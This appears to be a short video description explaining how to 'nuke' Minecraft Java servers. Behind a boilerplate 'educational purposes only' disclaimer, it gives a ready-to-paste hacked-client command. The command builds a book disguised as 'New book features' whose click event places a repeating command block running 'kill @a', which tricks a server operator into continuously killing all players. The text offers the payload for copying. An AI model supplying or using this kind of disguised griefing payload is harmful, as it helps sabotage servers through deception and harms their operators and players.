HOW TO NUKE MINECRAFT JAVA SERVERS

I DO NOT CONDONE HACKING IN ANY WAY AND THIS VIDEO IS FOR EDUCATIONAL PURPOSES ONLY AND YOU SHOULD NEVER NUKE SERVERS THIS VIDEO IS STRICTLY FOR ENTERTAINMENT EDUCATION AND TO SPREAD AWARENESS ON HOW TO NOT DO THESE THINGS

The command used was:

.modify set {display:{Name:'{"text":"New book features"}'},title:"",author:"",pages:['{"text":"Click this text to look at the new features!","hoverEvent":{"action":"show_text","contents":[{"text":"it also has hover text which is pretty cool, click the text to continue!"}]},"clickEvent":{"action":"run_command","value":"/setblock ~ ~ ~ repeating_command_block{auto:1b,Command:\\"kill @a\\"} replace"}}']}

so that is what you copy paste
hope you enjoy!